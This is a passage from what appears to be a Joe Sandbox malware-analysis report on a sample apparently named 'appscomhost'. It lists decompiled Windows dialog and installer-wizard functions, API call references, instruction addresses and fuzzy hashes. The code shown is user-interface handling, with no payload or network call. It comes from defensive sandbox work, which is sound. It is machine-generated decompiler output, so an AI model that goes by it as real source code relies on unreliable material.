									_v48 = 1;
									_t291 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v32 = 1;
									 *( *0x450260 + _t306 * 4) = _t291;
									_v16 =  *( *0x450260 + _t306 * 4);
								}
							}
							_t306 = _t306 + 1;
							_t324 =  &(_v28[0x4018]);
							_v28 = _t324;
						} while (_t306 <  *0x47af4c);
						if(_v32 != 0) {
							L20:
							if(_v20 != 0) {
								E0040439C(_v8);
								_t298 = _v36;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E0040439C(_v12);
								L93:
								return E004043CE(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404df2
0x00404df8
0x00404dfa
0x00404e00
0x00404e06
0x00404e1c
0x00404e1f
0x00404e22
0x00405055
0x0040505c
0x00405070
0x0040505e
0x00405060
0x00405063
0x00405064
0x0040506b
0x0040506b
0x0040507c
0x0040508a
0x0040508d
0x004050a3
0x0040511b
0x0040511e
0x00405120
0x0040512a
0x00405138
0x00405138
0x0040513a
0x00405144
0x0040514a
0x0040514d
0x00405168
0x0040514f
0x00405159
0x00405159
0x0040514d
0x00405144
0x00000000
0x0040511e
0x004050a8
0x004050b3
0x004050b8
0x004050bf
0x004050c6
0x004050c9
0x004050d1
0x004050d1
0x004050d5
0x004050d9
0x004050dd
0x004050f0
0x004050df
0x004050df
0x004050e6
0x004050ec
0x004050e8
0x004050e8
0x004050e8
0x004050e6
0x004050f6
0x004050f8
0x00405100
0x00405108
0x00405118
0x00405118
0x004050d9
0x00000000
0x004050c9
0x004050aa
0x004050b1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040516b
0x0040516b
0x00405172
0x004051e3
0x004051ea
0x004051f6
0x004051f6
0x004051ff
0x00405201
0x00405208
0x0040520b
0x0040520b
0x00405211
0x00405218
0x0040521b
0x0040521b
0x00405221
0x00405227
0x0040522d
0x0040522d
0x0040523a
0x0040539a
0x004053a1
0x004053be
0x004053c4
0x004053d6
0x004053d6
0x00000000
0x00405240
0x00405242
0x00405247
0x0040524c
0x00405251
0x00405253
0x00405253
0x00405254
0x00405255
0x00405257
0x00405257
0x0040525f
0x004052a0
0x004052a2
0x004052b2
0x004052b5
0x004052ba
0x004052c1
0x004052c4
0x00405366
0x0040536e
0x00405376
0x00405376
0x00405384
0x00405395
0x00405395
0x00000000
0x00405384
0x004052ca
0x004052cd
0x004052d3
0x004052d8
0x004052da
0x004052dc
0x004052e2
0x004052e9
0x004052ee
0x004052f5
0x004052f8
0x004052f8
0x004052ff
0x0040530b
0x0040530f
0x00405311
0x00405311
0x00405301
0x00405303
0x00405303
0x00405331
0x0040533d
0x0040534c
0x0040534c
0x0040534e
0x00405351
0x0040535a
0x00000000
0x00405261
0x0040526c
0x0040526f
0x00405274
0x00405276
0x0040527a
0x0040528a
0x00405294
0x00405296
0x00405299
0x00000000
0x00000000
0x00000000
0x00000000
0x0040527c
0x0040527c
0x00405282
0x00405284
0x00405284
0x00405285
0x00405286
0x00000000
0x0040527c
0x0040525f
0x0040523a
0x0040517a
0x00000000
0x00405190
0x0040519a
0x0040519f
0x00000000
0x00000000
0x004051b1
0x004051b6
0x004051c2
0x004051c2
0x004051c4
0x004051d3
0x004051d5
0x004051d9
0x004051dc
0x00000000
0x004051dc
0x0040517a
0x00404e28
0x00404e2d
0x00404e37
0x00404e38
0x00404e41
0x00404e50
0x00404e5b
0x00404e61
0x00404e6f
0x00404e84
0x00404e89
0x00404e94
0x00404e9d
0x00404eb2
0x00404ec3
0x00404ed0
0x00404ed0
0x00404ed5
0x00404edb
0x00404edd
0x00404ee0
0x00404ee5
0x00404eea
0x00404eec
0x00404eec
0x00404f0c
0x00404f0c
0x00404f0e
0x00404f0f
0x00404f14
0x00404f1a
0x00404f1e
0x00404f23
0x00404f2b
0x00404f2f
0x00404f34
0x00404f39
0x00404f41
0x00404f44
0x00405014
0x00405027
0x00000000
0x00404f4a
0x00404f4d
0x00404f50
0x00404f53
0x00404f53
0x00404f59
0x00404f62
0x00404f65
0x00404f69
0x00404f6c
0x00404f6f
0x00404f78
0x00404f81
0x00404f84
0x00404f87
0x00404f8a
0x00404fc8
0x00404ff3
0x00404fca
0x00404fd9
0x00404fd9
0x00404f8c
0x00404f8f
0x00404f9d
0x00404fa7
0x00404faf
0x00404fb6
0x00404fc1
0x00404fc1
0x00404f8a
0x00404ff9
0x00404ffa
0x00405006
0x00405006
0x00405012
0x0040502d
0x00405030
0x0040504d
0x00405052
0x00000000
0x00405032
0x00405037
0x00405040
0x004053d8
0x004053ea
0x004053ea
0x00405030
0x00000000
0x00405012
0x00404f44

APIs

GetDlgItem.USER32 ref: 00404DEB
GetDlgItem.USER32 ref: 00404DF8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E44
LoadImageW.USER32 ref: 00404E5B
SetWindowLongW.USER32 ref: 00404E75
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E89
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404E9D
SendMessageW.USER32(?,00001109,00000002), ref: 00404EB2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EBE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404ED0
DeleteObject.GDI32(00000110), ref: 00404ED5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404F00
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404F0C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FA7
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404FD7

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,00000001,004041C7), ref: 004043AA

SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FEB
GetWindowLongW.USER32(?,000000F0), ref: 00405019
SetWindowLongW.USER32 ref: 00405027
ShowWindow.USER32(?,00000005), ref: 00405037
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405138
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040519A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004051AF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051D3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051F6
ImageList_Destroy.COMCTL32(?), ref: 0040520B
GlobalFree.KERNEL32 ref: 0040521B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405294
SendMessageW.USER32(?,00001102,?,?), ref: 0040533D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040534C
InvalidateRect.USER32(?,00000000,00000001), ref: 00405376
ShowWindow.USER32(?,00000000), ref: 004053C4
GetDlgItem.USER32 ref: 004053CF
ShowWindow.USER32(00000000), ref: 004053D6

Strings

M, xrefs: 00404F8F
, xrefs: 004053AE
N, xrefs: 00405073

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: d67b3ff0617d67fd0a80577e709ddf08ca2b821e5907e67f834abd7ed595c926
Instruction ID: 6ce37d8c4ba02e1b1a5857c87f0a00aa149ee3829e9110a2c7c93e18e9345753
Opcode Fuzzy Hash: d67b3ff0617d67fd0a80577e709ddf08ca2b821e5907e67f834abd7ed595c926
Instruction Fuzzy Hash: 59128CB0900609AFDB20DF55CD49AAF7BB5FB84314F10817AFA10BA2E1C7798A51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403E8E, Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403E8E(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t70;
				struct HWND__* _t76;
				signed int _t89;
				struct HWND__* _t94;
				signed int _t102;
				int _t106;
				signed int _t118;
				signed int _t119;
				int _t120;
				signed int _t125;
				struct HWND__* _t128;
				struct HWND__* _t129;
				int _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t118 = _a8;
				if(_t118 == 0x110 || _t118 == 0x408) {
					_t37 = _a12;
					_t128 = _a4;
					__eflags = _t118 - 0x110;
					 *0x450250 = _t37;
					if(_t118 == 0x110) {
						 *0x47af08 = _t128;
						 *0x450264 = GetDlgItem(_t128, 1);
						_t94 = GetDlgItem(_t128, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x440230 = _t94;
						E00404367(_t128);
						SetClassLongW(_t128, 0xfffffff2,  *0x472ee8);
						 *0x472ecc = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x450250 = 1;
					}
					_t125 =  *0x40a368; // 0xffffffff
					_t136 = 0;
					_t133 = (_t125 << 6) +  *0x47af40;
					__eflags = _t125;
					if(_t125 < 0) {
						L34:
						E004043B3(0x40b);
						while(1) {
							_t39 =  *0x450250;
							 *0x40a368 =  *0x40a368 + _t39;
							_t133 = _t133 + (_t39 << 6);
							_t41 =  *0x40a368; // 0xffffffff
							__eflags = _t41 -  *0x47af44;
							if(_t41 ==  *0x47af44) {
								E0040140B(1);
							}
							__eflags =  *0x472ecc - _t136;
							if( *0x472ecc != _t136) {
								break;
							}
							__eflags =  *0x40a368 -  *0x47af44; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t119 =  *(_t133 + 0x14);
							E0040644E(_t119, _t128, _t133, 0x4f4000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404367(_t128);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404367(_t128);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404367(_t128);
							_t51 = GetDlgItem(_t128, 3);
							__eflags =  *0x47afac - _t136;
							_v32 = _t51;
							if( *0x47afac != _t136) {
								_t119 = _t119 & 0x0000fefd | 0x00000004;
								__eflags = _t119;
							}
							ShowWindow(_t51, _t119 & 0x00000008);
							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100);
							E00404389(_t119 & 0x00000002);
							_t120 = _t119 & 0x00000004;
							EnableWindow( *0x440230, _t120);
							__eflags = _t120 - _t136;
							if(_t120 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
							__eflags =  *0x47afac - _t136;
							if( *0x47afac == _t136) {
								_push( *0x450264);
							} else {
								SendMessageW(_t128, 0x401, 2, _t136);
								_push( *0x440230);
							}
							E0040439C();
							E00406411(0x450268, E00403E6F());
							E0040644E(0x450268, _t128, _t133,  &(0x450268[lstrlenW(0x450268)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t128, 0x450268);
							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)), _t136);
							__eflags = _t70;
							if(_t70 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x472ed8);
									 *0x448240 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L58;
									}
									_t76 = CreateDialogParamW( *0x47af00,  *_t133 +  *0x472ee0 & 0x0000ffff, _t128,  *(0x40a36c +  *(_t133 + 4) * 4), _t133);
									__eflags = _t76 - _t136;
									 *0x472ed8 = _t76;
									if(_t76 == _t136) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404367(_t76);
									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t128, _t137 + 0x10);
									SetWindowPos( *0x472ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									E00401389( *((intOrPtr*)(_t133 + 0xc)), _t136);
									__eflags =  *0x472ecc - _t136;
									if( *0x472ecc != _t136) {
										goto L61;
									}
									ShowWindow( *0x472ed8, 8);
									E004043B3(0x405);
									goto L58;
								}
								__eflags =  *0x47afac - _t136;
								if( *0x47afac != _t136) {
									goto L61;
								}
								__eflags =  *0x47afa0 - _t136;
								if( *0x47afa0 != _t136) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x472ed8);
						 *0x47af08 = _t136;
						EndDialog(_t128,  *0x444238);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L61;
							}
							goto L34;
						}
						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)), 0);
						__eflags = _t89;
						if(_t89 == 0) {
							goto L33;
						}
						SendMessageW( *0x472ed8, 0x40f, 0, 1);
						__eflags =  *0x472ecc;
						return 0 |  *0x472ecc == 0x00000000;
					}
				} else {
					_t128 = _a4;
					_t136 = 0;
					if(_t118 == 0x47) {
						SetWindowPos( *0x450248, _t128, 0, 0, 0, 0, 0x13);
					}
					if(_t118 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x450248,  ~(_a12 - 1) & _t118);
					}
					if(_t118 != 0x40d) {
						__eflags = _t118 - 0x11;
						if(_t118 != 0x11) {
							__eflags = _t118 - 0x111;
							if(_t118 != 0x111) {
								L26:
								return E004043CE(_t118, _a12, _a16);
							}
							_t135 = _a12 & 0x0000ffff;
							_t129 = GetDlgItem(_t128, _t135);
							__eflags = _t129 - _t136;
							if(_t129 == _t136) {
								L13:
								__eflags = _t135 - 1;
								if(_t135 != 1) {
									__eflags = _t135 - 3;
									if(_t135 != 3) {
										_t130 = 2;
										__eflags = _t135 - _t130;
										if(_t135 != _t130) {
											L25:
											SendMessageW( *0x472ed8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x47afac - _t136;
										if( *0x47afac == _t136) {
											_t102 = E0040140B(3);
											__eflags = _t102;
											if(_t102 != 0) {
												goto L26;
											}
											 *0x444238 = 1;
											L21:
											_push(0x78);
											L22:
											E00404340();
											goto L26;
										}
										E0040140B(_t130);
										 *0x444238 = _t130;
										goto L21;
									}
									__eflags =  *0x40a368 - _t136; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t135);
								goto L22;
							}
							SendMessageW(_t129, 0xf3, _t136, _t136);
							_t106 = IsWindowEnabled(_t129);
							__eflags = _t106;
							if(_t106 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t128, _t136, _t136);
						return 1;
					} else {
						DestroyWindow( *0x472ed8);
						 *0x472ed8 = _a12;
						L58:
						if( *0x460268 == _t136 &&  *0x472ed8 != _t136) {
							ShowWindow(_t128, 0xa);
							 *0x460268 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x00403e97
0x00403ea0
0x00403fe1
0x00403fe5
0x00403fe9
0x00403feb
0x00403ff0
0x00403ffb
0x00404006
0x0040400b
0x0040400d
0x0040400f
0x00404012
0x00404017
0x00404025
0x00404032
0x00404039
0x00404039
0x0040403a
0x0040403a
0x0040403f
0x00404045
0x0040404c
0x00404052
0x00404054
0x00404094
0x00404099
0x0040409e
0x0040409e
0x004040a3
0x004040ac
0x004040ae
0x004040b3
0x004040b9
0x004040bd
0x004040bd
0x004040c2
0x004040c8
0x00000000
0x00000000
0x004040d3
0x004040d9
0x00000000
0x00000000
0x004040e2
0x004040ea
0x004040ef
0x004040f2
0x004040f8
0x004040fd
0x00404100
0x00404106
0x0040410b
0x0040410e
0x00404114
0x0040411c
0x00404122
0x00404128
0x0040412c
0x00404133
0x00404133
0x00404133
0x0040413d
0x0040414f
0x0040415b
0x00404160
0x0040416a
0x00404170
0x00404172
0x00404177
0x00404174
0x00404174
0x00404174
0x00404187
0x0040419f
0x004041a1
0x004041a7
0x004041bc
0x004041a9
0x004041b2
0x004041b4
0x004041b4
0x004041c2
0x004041d3
0x004041e9
0x004041f0
0x004041fa
0x004041ff
0x00404201
0x00000000
0x00404207
0x00404207
0x00404209
0x00000000
0x00000000
0x0040420f
0x00404213
0x00404238
0x0040423e
0x00404244
0x00404246
0x00000000
0x00000000
0x0040426c
0x00404272
0x00404274
0x00404279
0x00000000
0x00000000
0x0040427f
0x00404282
0x00404285
0x0040429c
0x004042a8
0x004042c1
0x004042cb
0x004042d0
0x004042d6
0x00000000
0x00000000
0x004042e0
0x004042eb
0x00000000
0x004042eb
0x00404215
0x0040421b
0x00000000
0x00000000
0x00404221
0x00404227
0x00000000
0x00000000
0x00000000
0x0040422d
0x00404201
0x004042f8
0x00404304
0x0040430b
0x00000000
0x00404056
0x00404056
0x00404059
0x0040408c
0x0040408c
0x0040408e
0x00000000
0x00000000
0x00000000
0x0040408e
0x0040405f
0x00404064
0x00404066
0x00000000
0x00000000
0x00404076
0x0040407e
0x00000000
0x00404084
0x00403eb2
0x00403eb2
0x00403eb6
0x00403ebb
0x00403eca
0x00403eca
0x00403ed3
0x00403edc
0x00403ee7
0x00403ee7
0x00403ef3
0x00403f0f
0x00403f12
0x00403f25
0x00403f2b
0x00403fce
0x00000000
0x00403fd7
0x00403f31
0x00403f3e
0x00403f40
0x00403f42
0x00403f61
0x00403f61
0x00403f64
0x00403f69
0x00403f6c
0x00403f7c
0x00403f7d
0x00403f7f
0x00403fb5
0x00403fc8
0x00000000
0x00403fc8
0x00403f81
0x00403f87
0x00403fa0
0x00403fa5
0x00403fa7
0x00000000
0x00000000
0x00403fa9
0x00403f95
0x00403f95
0x00403f97
0x00403f97
0x00000000
0x00403f97
0x00403f8a
0x00403f8f
0x00000000
0x00403f8f
0x00403f6e
0x00403f74
0x00000000
0x00000000
0x00403f76
0x00000000
0x00403f76
0x00403f66
0x00000000
0x00403f66
0x00403f4c
0x00403f53
0x00403f59
0x00403f5b
0x00000000
0x00000000
0x00000000
0x00403f5b
0x00403f17
0x00000000
0x00403ef5
0x00403efb
0x00403f05
0x00404311
0x00404317
0x00404324
0x0040432a
0x0040432a
0x00404334
0x00000000
0x00404334
0x00403ef3

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403ECA
ShowWindow.USER32(?), ref: 00403EE7
DestroyWindow.USER32 ref: 00403EFB
SetWindowLongW.USER32 ref: 00403F17
GetDlgItem.USER32 ref: 00403F38
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F4C
IsWindowEnabled.USER32(00000000), ref: 00403F53
GetDlgItem.USER32 ref: 00404001
GetDlgItem.USER32 ref: 0040400B
SetClassLongW.USER32(?,000000F2,?), ref: 00404025
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404076
GetDlgItem.USER32 ref: 0040411C
ShowWindow.USER32(00000000,?), ref: 0040413D
EnableWindow.USER32(?,?), ref: 0040414F
EnableWindow.USER32(?,?), ref: 0040416A
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404180
EnableMenuItem.USER32 ref: 00404187
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040419F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041B2
lstrlenW.KERNEL32(00450268,?,00450268,00000000), ref: 004041DC
SetWindowTextW.USER32(?,00450268), ref: 004041F0
ShowWindow.USER32(?,0000000A), ref: 00404324

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 3c1b7ebb38697e6bc1dd75754bd5572beb14259f801e631d920a8ea5f9cfd3cc
Instruction ID: edcd141252e77fab99c833ade2b1a87bd714fe7466ca55cbe47ff7570f81bbc7
Opcode Fuzzy Hash: 3c1b7ebb38697e6bc1dd75754bd5572beb14259f801e631d920a8ea5f9cfd3cc
Instruction Fuzzy Hash: 3DC1B1B1500705ABDB206F61EE89D2B3A78FB85706F00053EFA45B11F1CB799891DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404526, Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404526(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x440234 =  *0x440234 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E004043CE(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x46aea0;
							if(_t103 - _t113 < 0x4000) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E004047D5(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x47af08, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x47af08, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x440234 != 0) {
						goto L27;
					} else {
						_t116 =  *0x448240 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00404389(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004047B1();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x472edc - 4 + _t75 * 4);
				}
				_t76 =  *0x47af58 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E004044D7;
				if(_t110 != 2) {
					_v8 = E0040449D;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404367(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404367(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00404389( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E0040439C(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x47af14 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x440234 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x440234 = 0;
				return 0;
			}

0x00404538
0x00404665
0x004046c2
0x004046c6
0x00404793
0x00404795
0x00404795
0x0040479b
0x0040479b
0x0040479e
0x00000000
0x004047a5
0x004046d4
0x004046da
0x004046e4
0x004046ef
0x004046f2
0x004046f5
0x00404700
0x00404703
0x0040470a
0x00404717
0x00404728
0x0040472e
0x00404736
0x00404744
0x0040474a
0x0040474a
0x0040470a
0x00404754
0x00000000
0x0040475f
0x00404763
0x00404773
0x00404773
0x00404779
0x00404785
0x00404785
0x00000000
0x00404789
0x00404754
0x00404670
0x00000000
0x00404682
0x00404687
0x0040468d
0x00000000
0x00000000
0x004046b6
0x004046b8
0x004046bd
0x00000000
0x004046bd
0x00404670
0x0040453e
0x00404541
0x00404546
0x00404557
0x00404557
0x0040455f
0x00404562
0x00404566
0x00404569
0x0040456d
0x00404570
0x00404573
0x00404576
0x0040457d
0x0040457f
0x0040457f
0x00404589
0x00404596
0x004045a0
0x004045a5
0x004045a8
0x004045ad
0x004045c4
0x004045cb
0x004045de
0x004045e1
0x004045f5
0x004045fc
0x00404601
0x00404606
0x00404606
0x00404614
0x00404622
0x00404634
0x00404639
0x00404649
0x0040464b
0x00000000

APIs

CheckDlgButton.USER32 ref: 004045C4
GetDlgItem.USER32 ref: 004045D8
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045F5
GetSysColor.USER32(?), ref: 00404606
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404614
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404622
lstrlenW.KERNEL32(?), ref: 00404627
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404634
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404649
GetDlgItem.USER32 ref: 004046A2
SendMessageW.USER32(00000000), ref: 004046A9
GetDlgItem.USER32 ref: 004046D4
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404717
LoadCursorW.USER32(00000000,00007F02), ref: 00404725
SetCursor.USER32(00000000), ref: 00404728
LoadCursorW.USER32(00000000,00007F00), ref: 00404741
SetCursor.USER32(00000000), ref: 00404744
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404773
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404785

Strings

N, xrefs: 004046C2
5000, xrefs: 00404703

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: 5000$N
API String ID: 3103080414-4036501307
Opcode ID: 4057bda4a5c8c0b6e4d988ee17e15879bea25588c51fd87f960a9f36ecf40fe5
Instruction ID: 0ea6b523d146973b3e16295bfd31311f18edd24506289a49e38645f850ca9921
